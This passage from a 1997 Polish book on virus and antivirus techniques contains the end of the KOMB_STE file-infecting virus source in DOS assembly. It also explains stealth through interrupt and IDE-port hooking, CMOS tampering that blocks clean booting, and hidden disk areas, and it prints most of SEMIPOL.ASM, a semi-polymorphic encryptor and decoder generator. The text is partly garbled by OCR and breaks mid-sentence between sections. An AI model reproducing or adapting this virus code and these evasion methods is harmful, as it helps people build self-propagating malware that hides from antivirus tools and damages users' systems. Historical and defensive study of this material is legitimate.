int 16h ; \ to litera
'T'lub 't'
and al,0DFh ; \ jesli tak,
ustawia CF=0
cmp al,'T' ; \ jesli nie,
ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /

NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy
dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania

TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam
Blaszczyk 1997',NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci
operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci
!',NUL
TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w
segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac
zainfekowac go wirusem KOMB_STE (T/N) ?',NUL

StareBajty db 0CDh,20h,90h

Skok db 0E9h
KoniecWirusa:

Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?

KOMB_STE ends
end start

7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów;
należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby
odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu
ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory
zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać).
Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub
BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed
zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).

7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań
sprzętowych (ang. hardware level stealth)
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level
stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta
polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego
IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji
(9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym-
Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o
aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR,
zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość
MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7
(rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich
jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja
odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z
portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi
wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny
sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego
adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa.
Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14
(co można ustawić programowo) przy realizacji operacji dostępu do dysku.

7.2. ModyfikacjaCMOS-a

Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych
sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do
któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i
czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie
uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane
jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś
klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera.
Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do
podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować
pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak
znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma
zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność
ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest
konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca,
jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę
wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował
załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim
wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie
sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor,
po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w
CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera
parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno
utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także
zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi
dostanie się do programu SETUP.

7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy
przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują
zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają
do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej
wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak
ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących
na zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż
niewidzialność zagwarantuje sam system DOS.

7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami
zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi
podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa
może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na

początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji).
Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi.
Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana
przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po
czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia
nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na
rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie
sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto
rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się
rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem
deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się
MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z
najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem
wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych
zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w
przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę
szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej,
dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym
razem wygląda inaczej; są to tzw. wirusy
polimorficzne

ROZDZIAŁ 8

8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze,
odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;
> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na

przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie
licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach
matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy
wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem
z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym
razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze
zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji
szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na
stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.

8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności
operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych
zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca
wygląda następująco:
MOV CX, IleBajtˇw
MOV BX,Pocz╣tekDanychDoZakodowania
Pŕtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
LOOP Pŕtla,
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajtˇw
MOV BX,Pocz╣tekDanychDoZakodowania
Pŕtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
LOOP Pŕtla.
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w
dekoderze (oczywiście można zastosować także operację ADD z przeciwnym
argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym
razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą
zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajtˇw
MOV BX,Pocz╣tekDanychDoZakodowania
Pŕtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
LOOP Pŕtla,

co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować
zmienne, polimorficzne procedury dekodujące.

8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego
pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu.
Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych
procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie
wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest
znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu
przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w
poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.

8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej
sekwencji:
MOV licznik, IleDanych
MOV indeks, Pocz╣tekDanychDoZakodowania
Pŕtla:
dekoduj_i [indeks]
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks]
ADD indeks, przyrost
LOOP Pŕtla
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą.
Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych
do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy
kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich
stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych
rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być
zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych
wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na
stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się
kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do
następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego
problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów
procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi
generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR
(kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod
które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje
sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w
rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej
zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej

części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany
jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu.
Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM,
gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku
parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na
początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie
procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo
zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób
(bez dodawania losowych skoków pomiędzy instrukcjami).

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program generuje pliki zakodowane semi-
polimorficznie ;
; (pomiedzy wlasciwe instrukcje dekodera sa
wstawiane ;
; przypadkowe rozkazy JUMP)
;
; Kompilacja :
;
; TASM /m2 SEMIPOL.ASM
;
; TLINK SEMIPOL.OBJ
;
;
;
;----------------------------------------------------------------
------------;
SEMI_POL SEGMENT

ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL

NUL = 00h ; \
TAB = 09h ; \
LF = 0Ah ; \ stale znakowe
CR = 0Dh ; /
SPACE = 20h ; /
DOLAR = '$' ; /

RozmiarStosu equ 200h ; rozmiar stosu

DomyslnieIlePlikow = 10 ; domyslnie generuj 10
plikow

;----------------------------------------------------------------
-------------
Start:
Call InicjujSystem ; ustaw zmienne programu

lea si,TeCopyRight ; wyswietl info o
programie
Call Druk

Call WezParametry ; wez parametry z linii
polecen

lea si,TeGenerator ; wyswietl info o
dzialaniu
Call Druk

Call GenerowaniePlikow ; generuj pliki

mov ax,4C00h ; funkcja DOS - powrot do
systemu
int 21h ; wywolaj funkcje

;----------------------------------------------------------------
-------------
GenerowaniePlikow proc near ; procedura generuje
pliki SEMI????.COM

push ds es ax bx cx dx si di ; zachowaj na stosie
zmieniane rejestry

mov cx, LiczbaPlikow ; cx=ile plikow do
wygenerowania

GenJedenPlik:

push cx ; zachowaj na stosie :
ile plikow

lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku
Call DrukLn ; /

lea dx,AktualnaNazwaPliku ; sprobuj otworzyc
(tworzony) plik
mov ax,3D02h ; funkcja DOS - otworz
plik
int 21h ; wywolaj funkcje
jnc WezUchwyt ; CF=0 plik juz istnial,
nadpisz go

mov cx,20h ; atrybut pliku
tworzonego : Archive

lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego
pliku
mov ah,5Bh ; funkcja DOS - tworz
plik
int 21h ; wywolaj funkcje

WezUchwyt:
mov UchwytPliku,ax ; zapamietaj uchwyt pliku

lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod
do szyfrowania
lea di,BuforDocelowy ; ES:DI - dokad zapisywac
zaszyfrowany kod
mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar
szyfrowanego kodu
Call SemiPol
; CX:=Ile danych do
zapisu

lea dx,BuforDocelowy ; skad zapisac dane
mov bx,UchwytPliku ; numer uchwytu
mov ah,40h ; funkcja DOS - zapisz do
pliku
int 21h ; wywolaj funkcje

mov ah,3Eh ; funkcja DOS - zamknij
plik
int 21h ; wywolaj funkcje

Call ZwiekszNumerPliku ; SEMI(xxxx) ->
SEMI(xxxx+1)

pop cx ; przywroc ze stosu : ile
plikow

loop GenJedenPlik ; generuj CX plikow

pop di si dx cx bx ax es ds ; przywroc ze stosu
zmieniane rejestry

ret ; powrot z procedury

GenerowaniePlikow endp

;----------------------------------------------------------------
-------------
ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na
SEMI(xxxx+1)
; operuje na lancuchu
'SEMIxxxx'

push cx si ; zachowaj na stosie
zmieniane rejestry

mov cx,4 ; CX = ile max. obiegow
petli = 4 cyfry

ZwiekszNumerPlikuPetla:
mov si,cx
dec si
inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca
w SEMIxxxx

cmp byte ptr [AktNumPliku+si],'9'
; czy numer > 9 ?
jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z
procedury
; wiekszy = uwzglednij
przeniesienie
mov byte ptr [AktNumPliku+si],'0'
; cyfra : 9->0
loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj

ZwiekszNumerPlikuPowrot:

pop si cx ; przywroc ze stosu
zmieniane rejestry

ret ; powrot z procedury

ZwiekszNumerPliku endp

;----------------------------------------------------------------
-------------
WezParametry proc near ; pobiera parametry z
PSP:80h

push ds ; zachowaj DS

mov di,DomyslnieIlePlikow ; DI=ile plikow
wygenerowac

mov ds,PSP_Segment ; DS:=PSP
mov si,80h ; DS:SI=PSP:80

lodsw ; DS:SI=PSP:82,
AX:=licznik znakow
or al,al ; czy sa jakies znaki w
linii polecen ?
jz WezParametryPowrot ; nie = wyjdz z procedury

SzukajCyfry:
lodsb ; wez znak

cmp al,SPACE ; \pomin spacje
je SzukajCyfry ; /

cmp al,TAB ; \pomin tabulator
je SzukajCyfry ; /

mov bx,si ; zachowaj pozycje w
lancuchu

SzukajCR: ; szukaj konca ciagu
znakow

lodsb ; wez znak

cmp al,CR ; czy koniec lancucha ?
je LancuchNaLiczbe ; tak = konwersja

cmp al,SPACE ; czy spacja ?
je LancuchNaLiczbe ; tak = konwersja

cmp al,TAB ; czy tabulator ?
je LancuchNaLiczbe ; tak = konwersja

cmp al,'0' ; \
jb WezParametryPowrot ; \ czy znak w
zakresie
; - '0'..'9'
cmp al,'9' ; / jezeli nie, to
blad
ja WezParametryPowrot ; /

jmp short SzukajCR ; wez kolejny znak

LancuchNaLiczbe: ; konwersja lancucha na
liczbe

mov cx,si ; wez koniec lancucha
sub cx,bx ; odejmij poczatek
lancucha

jcxz WezParametryPowrot ; skocz, gdy nie ma czego
konwertowac

cmp cx,4 ; czy liczba > 9999 ?
ja WezParametryPowrot ; skocz, jesli tak

mov bx,1 ; BX zawiera kolejne
potegi 10
xor di,di ; DI zawiera aktualna
sume

LancuchNaLiczbeLoop:
; znaki czytamy od konca
dec si ; \ SI:=SI-2
dec si ; /

lodsb ; pobierz znak

sub al,'0' ; konwertuj na liczbe z
zakresu 0..9

mov ah,0 ; AX=AL
mul bx ; mnoz przez kolejna
potege 10

add di,ax ; dodaj do sumy

mov ax,10 ; zwieksz potege 10
mul bx ; pomnoz 10*BX

xchg ax,bx ; BX:=10 do kolejnej
potegi
; 1,10,100,1000

loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry

WezParametryPowrot: ; DI zawiera liczbe
plikow

pop ds ; przywroc DS ze stosu

mov LiczbaPlikow,di ; przepisz do zmiennej

ret ; powrot z procedury

WezParametry endp

;----------------------------------------------------------------
-------------
DrukLn proc near ; procedura wyswietla
tekst ASCIIZ
; spod adresu CS:SI i
dodaje Enter

push si ; SI sie zmienia, trzeba
zachowac

Call Druk ; najpierw wyswietl tekst

lea si,TeCRLF ; \ a teraz dodaj CR,LF
Call Druk ; /

pop si ; przywroc SI

ret ; powrot z procedury

DrukLn endp

;----------------------------------------------------------------
-------------
Druk proc near ; procedura wyswietla
tekst ASCIIZ

; spod adresu CS:SI

push ax ; \ zachowaj zmieniane
rejestry
push si ; /

DrukNastepnyZnak:

lods byte ptr cs:[si] ; wez kolejny znak

or al,al ; czy znak jest zerem
jz DrukPowrot ; tak=koniec napisu,
wyjdz z petli

Call DrukZnak ; jezeli nie, to wyswietl
(znak w AL)

jmp short DrukNastepnyZnak ; idz po nastepny znak

DrukPowrot: ; tekst wydrukowany
pop si ; \ przywroc zmieniane
rejestry
pop ax ; /

ret ; powrot z procedury

Druk endp

;----------------------------------------------------------------
-------------
DrukZnak proc near ; procedura wyswietla
znak w AL

push ax ; zachowaj zmieniany
rejestr

mov ah,0Eh ; funkcja BIOS - wyswietl
znak w AL
int 10h ; wywolaj funkcje

pop ax ; przywroc zmieniany
rejestr

ret ; powrot z procedury

DrukZnak endp

;----------------------------------------------------------------
-------------
InicjujSystem proc near ; ustawia stos, DS, ES
itd.

pop bp ; zachowaj adres powrotu
z procedury

; bo stos zostanie
przeniesiony
mov CS:PSP_Segment,ds ; zapamietaj PSP

mov ax,cs ; \
mov ds,ax ; - CS=DS=ES
mov es,ax ; /

mov ss,ax ; \ stos na koniec
programu
lea sp,StosKoniec ; /

cld ; DF=1, zwiekszaj przy
operacjach lancuchowych

jmp bp ; powrot z procedury

InicjujSystem endp

;----------------------------------------------------------------
-------------
SemiPol:
push ax si di ; zachowaj na stosie
zmieniane rejestry

shr cx,1 ; dlugosc/2 bo szyfrujemy
slowa
inc cx ; dla pewnosci, ze
wszystkie bajty zostana
; zaszyfrowane

mov Semi_IleDanych,cx ; \
mov Semi_Skad,si ; - zachowaj dane
mov Semi_Dokad,di ; /

call PseudoLosowa ; wez przypadkowa liczbe
mov Semi_Losowa,ax ; bedzie jej uzywac
szyfrator i deszyfrator

; szyfruj kod
lea di,TMPBufor ; gdzie zapisac
szyfrowany kod
Szyfruj:

lodsw ; wez dana

add ax,Semi_Losowa ; szyfruj ja

stosw ; zapisz zaszyfrowana
dana

loop Szyfruj ; powtarzaj szyfrowanie

; wpisz "smieci" do
bufora
mov di,Semi_Dokad ; bufor docelowy (do
zapisu na dysk)

mov cx,256 ; CX:=AX:=ile slow
zapisac (1..256)

Smietnik: ; wypelnianie

Call Pseudolosowa ; wez przypadkowa dana
stosw ; zapisz ja

loop Smietnik ; zapisz "smieci" w
buforze

; generuj procedure
dekodera
;
; Dekoder ma nastepujaca
postac :
;
; mov
si,PoczatekDanych BE,????
; mov cx,IleDanych
B9,????
; Petla:
; sub [si],Losowa
81,2C,????
; dec cx
49
; jz Koniec
74,??
; jmp Petla
E9,????
; Koniec:
;
mov di,Semi_Dokad ; bufor docelowy (do
zapisu na dysk)